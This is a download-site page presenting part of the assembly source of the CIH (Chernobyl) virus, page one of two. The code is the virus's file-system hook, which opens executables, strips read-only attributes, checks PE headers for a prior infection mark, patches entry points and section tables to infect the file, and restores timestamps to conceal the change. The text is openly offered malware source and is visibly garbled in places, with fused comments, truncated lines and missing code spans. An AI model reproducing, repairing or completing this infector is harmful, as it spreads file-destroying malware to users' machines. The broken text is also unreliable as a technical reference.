⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cih.txt

📁 CIH病毒原码(汇编语言编写
💻 TXT
📖 第 1 页 / 共 2 页
字号:
; ************************************* 
; * Is Open Existing File !? * 
; ************************************* 

; if ( NotOpenExistingFile ) 
; goto DisableOnBusy 
cmp word ptr [ebx+18h], 01h 
jne DisableOnBusy 

; ************************************* 
; * Get Attributes of the File * 
; ************************************* 

mov ax, 4300h 
int 20h push ecx 

; ************************************* 
; * Get IFSMgr_Ring0_FileIO Address * 
; ************************************* 

mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] 
mov edi, [edi] 

; ************************************* 
; * Is Read-Only File !? * 
; ************************************* 

test cl, 01h 
jz OpenFile 

; ************************************* 
; * Modify Read-Only File to Write * 
; ************************************* 

mov ax, 4301h 
xor ecx, ecx 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; ************************************* 
; * Open File * 
; ************************************* 

OpenFile: 
xor eax, eax 
mov ah, 0d5h 
xor ecx, ecx 
xor edx, edx 
inc edx 
mov ebx, edx 
inc ebx 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

xchg ebx, eax ; mov ebx, FileHandle 

; ************************************* 
; * Need to Restore * 
; * Attributes of the File !? * 
; ************************************* 

pop ecx 

pushf 

1h 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; ************************************* 
; * Is Open File OK !? * 
; ************************************* 

IsOpenFileOK: 
popf 

jc DisableOnBusy 

; ************************************* 
; * Open File Already Succeed. ^__^ * 
; ************************************* 

push esi ; Push FileNameBuffer Address to Stack 

pushf ; Now CF = 0, Push Flag to Stack 

add esi, DataBuffer-@7 ; mov esi, offset DataBuffe 
r 

; *************************** 
; * Get OffsetToNewHeader * 
; *************************** 

xor eax, eax 
mov ah, 0d6h 

; For Doing Minimal VirusCode's Length, 
; I Save EAX to EBP. 
mov ebp, eax 

xor ecx, ecx 
mov cl, 04h 
xor edx, edx 
mov dl, 3ch 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

mov edx, [esi] 

; *************************** 
; * Get 'PE\0' Signature * 
; * of ImageFileHeader, and * 
; * Infected Mark. * 
; *************************** 

dec edx 

mov eax, ebp 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; *************************** 
; * Is PE !? * 
; *************************** 
; * Is the File * 
; * Already Infected !? * 
; *************************** 

; cmp [esi], '\0PE\0' 
cmp dword ptr [esi], 00455000h 
jne CloseFile 

; ************************************* 
; * The File is ^o^ * 
; * PE(Portable Executable) indeed. * 
; ************************************* 
; * The File isn't also Infected. * 
; ************************************* 

; ************************************* 
; * Start to Infect the File * 
; ************************************* 
; * Registers Use Status Now : * 
; * * 
; * EAX = 04h * 
; * EBX = File Handle * 
; * ECX = 04h * 
; * EDX = 'PE\0\0' Signature of * 
; * ImageFileHeader Pointer's * 
; * Former Byte. * 
; * ESI = DataBuffer Address == @8 * 
; * EDI = IFSMgr_Ring0_FileIO Address * 
; * EBP = D600h == Read Data in File * 
; ************************************* 
; * Stack Dump : * 
; * * 
; * ESP = ------------------------- * 
; * | EFLAG(CF=0) | * 
; * ------------------------- * 
; * | FileNameBufferPointer | * 
; * ------------------------- * 
; * | EDI | * 
; * ------------------------- * 
; * | ESI | * 
; * ------------------------- * 
; * | EBP | * 
; * ------------------------- * 
; * | ESP | * 
; * ------------------------- * 
; * | EBX | * 
; * ------------------------- * 
; * | EDX | * 
; * ------------------------- * 
; * | ; * ------------------------- * 
; ************************************* 

push ebx ; Save File Handle 

push 00h ; Set VirusCodeSectionTableEndMark 

; *************************** 
; * Let's Set the * 
; * Virus' Infected Mark * 
; *************************** 

push 01h ; Size 
push edx ; Pointer of File 
push edi ; Address of Buffer 

; *************************** 
; * Save ESP Register * 
; *************************** 

mov dr1, esp 

; *************************** 
; * Let's Set the * 
; * NewAddressOfEntryPoint * 
; * ( Only First Set Size ) * 
; *************************** 

push eax ; Size 

; *************************** 
; * Let's Read * 
; * Image Header in File * 
; *************************** 

mov eax, ebp 
mov cl, SizeOfImageHeaderToRead 
add edx, 07h ; Move EDX to NumberOfSections 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; *************************** 
; * Let's Set the * 
; * NewAddressOfEntryPoint * 
; * ( Set Pointer of File, * 
; * Address of Buffer ) * 
; *************************** 

lea eax, (AddressOfEntryPoint-@8)[edx] 
push eax ; Pointer of File 

lea eax, (NewAddressOfEntryPoint-@8)[esi] 
push eax ; Address of Buffer 

; *************************** 
; * Move EDX to the Start * 
; * of SectionTable in File * 
; *************************** 

movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] 
lea edx, [eax+edx+12h] 

; *************************** 
; * Let's Get * 
; * Total Size of Sections * 
; *************************** 

mov al, SizeOfScetionTable 

; I Assume NumberOfSections * 
; * Need to Restore File * 
; * Modification Time * 
; *************************** 

SetFileModificationMark: 
pop ebx 
pop eax 

stc ; Enable CF(Carry Flag) 
pushf 

; ************************************* 
; * Close File * 
; ************************************* 

CloseFile: 
xor eax, eax 
mov ah, 0d7h 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; ************************************* 
; * Need to Restore File Modification * 
; * Time !? * 
; ************************************* 

popf 
pop esi 
jnc DisableOnBusy 

; **************************** mov ecx, (FileModificationTime-@7)[esi] 
mov edi, (FileModificationTime+2-@7)[esi] 
call ebx ; VXDCall IFSMgr_Ring0_FileIO 

; ************************************* 
; * Disable OnBusy * 
; ************************************* 

DisableOnBusy: 
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBu 
sy 

; ************************************* 
; * Call Previous FileSystemApiHook * 
; ************st. * 
; ************************************* 

pIFSFunc: 
mov ebx, esp 
push dword ptr [ebx+20h+04h+14h] ; Push pioreq 
call [ebx+20h+04h] ; Call pIFSFun 
c 
pop ecx ; 

mov [ebx+1ch], eax ; Modify EAX Value in Stack 

; *************************** 
; * After Calling pIFSFunc, * 
; * Get Some Data from the * 
; * Returned pioreq. * 
; *************************** 

cmp dword ptr [ebx+20h+04h+04h], 00000024h 
jne QuitMyVirusFileSystemHook 

; ***************** 
; * Get the File * 
; * Modification * 
; * Date and Time * 
; * in DOS Format.* 
; ***************** 

mov eax, [ecx+28h] 
mov (FileModificationTime-@6)[esi], eax 

; *************************** 
; * Quit My Virus' * 
; * IFSMgr_FileSystemHook * 
; *************************** 

QuitMyVirusFileSystemHook: 

popad 

ret 

; ********************************************************* 
; * Static Data * 
; *****_RemoveFileSystemApiHook-_PageAllocate 
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook 
db IFSMgr_Ring0_FileIO-UniToBCSPath 

VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h 
Virus Size * 
; ********************************************************* 

VirusSize = $ 
; + SizeOfVirusCodeSectionTableEndMark(04h) 
; + NumberOfSections(??)*SizeOfVirusCodeSectionT 
able(08h) 
; + SizeOfTheFirstVirusCodeSectionTable(04h) 

; ********************************************************* 
; * Dynamic Data * 
; ********************************************************* 

VirusGameDataStartAddress = VirusSize 
@6 = VirusGameDataStartAddress 
OnBusy db 0 
FileModificationTime dd ? 

FileNameBuffer db FileNameBufferSize dup(?) 
@7 = FileNameBuffer 

DataBuffer = $ 
@8 = DataBuffer 
NumberOfSections dw ? 
TimeDateStamp dd ? 
SymbolsPointer dd ? 
NumberOfSymbols dd ? 
SizeOfOptionalHeader dw ? 
_Characteristics dw ? 
Magic dw ? 
LinkerVersion dw ? 
SizeOfCode dd ? 
SizeOfInitializedData dd ? 
SizeOfUninitializedData dd ? 
AddressOfEntryPoint dd ? 
BaseOfCode dd ? 
BaseOfData dd ? 
ImageBase dd ? 
@9 = $ 
SectionAlignm dd ? 
SizeOfImage dd ? 
SizeOfHeaders dd ? 
SizeOfImageHeaderToRead = $-NumberOfSections 

NewAddressOfEntryPoint = DataBuffer ; DWORD 
SizeOfImageHeaderToWrite = 04h 

StartOfSectionTable = @9 
SectionName = StartOfSectionTable ; QWORD 
VirtualSize = StartOfSectionTable+08h ; DWORD 
VirtualAddress = StartOfSectionTable+0ch ; DWORD 
SizeOfRawData = StartOfSectionTable+10h ; DWORD 
PointerToRawData = StartOfSectionTable+14h ; DWORD 
PointerToRelocations = StartOfSectionTable+18h ; DWORD 
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD 
NumberOfRelocations = StartOfSectionTable+20h ; WORD 
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD 
Characteristics = StartOfSectionTable+24h ; DWORD 
SizeOfScetionTable = Characteristics+04h-SectionName 

; ********************************************************* 
; * Virus Total Need Memory * 
; ********************************************************* 

VirusNeedBaseMemory = $ 

VirusTotalNeedMemory = @9 
; + NumberOfSections( + NumberOfSections(??)*SizeOfVirusCodeSectionT 
able(08h) 
; + SizeOfTheFirstVirusCodeSectionTable(04h) 

; ********************************************************* 
; ********************************************************* 

VirusGame ENDS 

END FileHeader 
 
 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -